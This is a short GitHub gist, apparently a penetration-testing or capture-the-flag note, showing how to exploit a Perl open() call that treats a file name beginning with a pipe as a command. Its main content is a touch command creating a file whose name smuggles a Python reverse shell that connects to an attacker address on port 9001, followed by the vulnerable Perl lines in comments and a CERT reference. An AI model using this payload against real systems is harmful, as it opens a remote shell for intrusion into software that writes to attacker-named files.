Created
February 10, 2022 01:40
-
-
Save shollingsworth/53737e0c5a19815210636483134f60bd to your computer and use it in GitHub Desktop.
perl open vuln
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890543 | |
| touch "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.XX.XX\",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")';echo .csv" | |
| # vulnerable open command | |
| # my $fname = "${csv_dir}/${type}.csv"; | |
| # open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n"; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment